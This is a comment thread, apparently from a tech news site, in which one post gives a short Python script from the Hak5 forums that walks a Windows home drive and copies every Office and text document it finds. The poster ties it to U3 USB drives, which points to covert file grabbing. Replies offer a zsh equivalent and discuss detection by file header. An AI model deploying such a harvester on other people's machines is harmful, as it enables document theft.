3 ms·
#!/usr/bin/python import os,shutil exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"] startpath = os.environ['HOMEDRIVE']
by woodall 16y ago
#!/usr/bin/python
import os,shutil
exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
startpath = os.environ['HOMEDRIVE']
def find(none, directory, filenames):
for file in filenames:
for ext in exts:
if file.endswith(ext):
fullfile = os.path.join(directory,file)
try:
shutil.copy(fullfile,file)
except IOError:
pass # access denied
os.path.walk(startpath,find, None)
This was on the Hak5 forums when the U3 drives were popular. It can be used to search for file extensions and copy the ones that match those specified. It is easily fooled, but you could add the ability to look for headers in binary data, thread it, ect. R.I.P unpersons.org
- michaelcampbell 16y agoI'm not seeing where it copies the file TO, but assuming you have a dump directory /dump, is that the same, more or less, as: zsh -c 'cp $HOMEDRIVE/**/*.{txt,{doc,xls,ppt}{,x}} /dump' ?
- SageRaven 16y agoTFA states the product does not use file extensions, but rather file headers, so 133t office workers won't be able to use that particular method of obfuscation.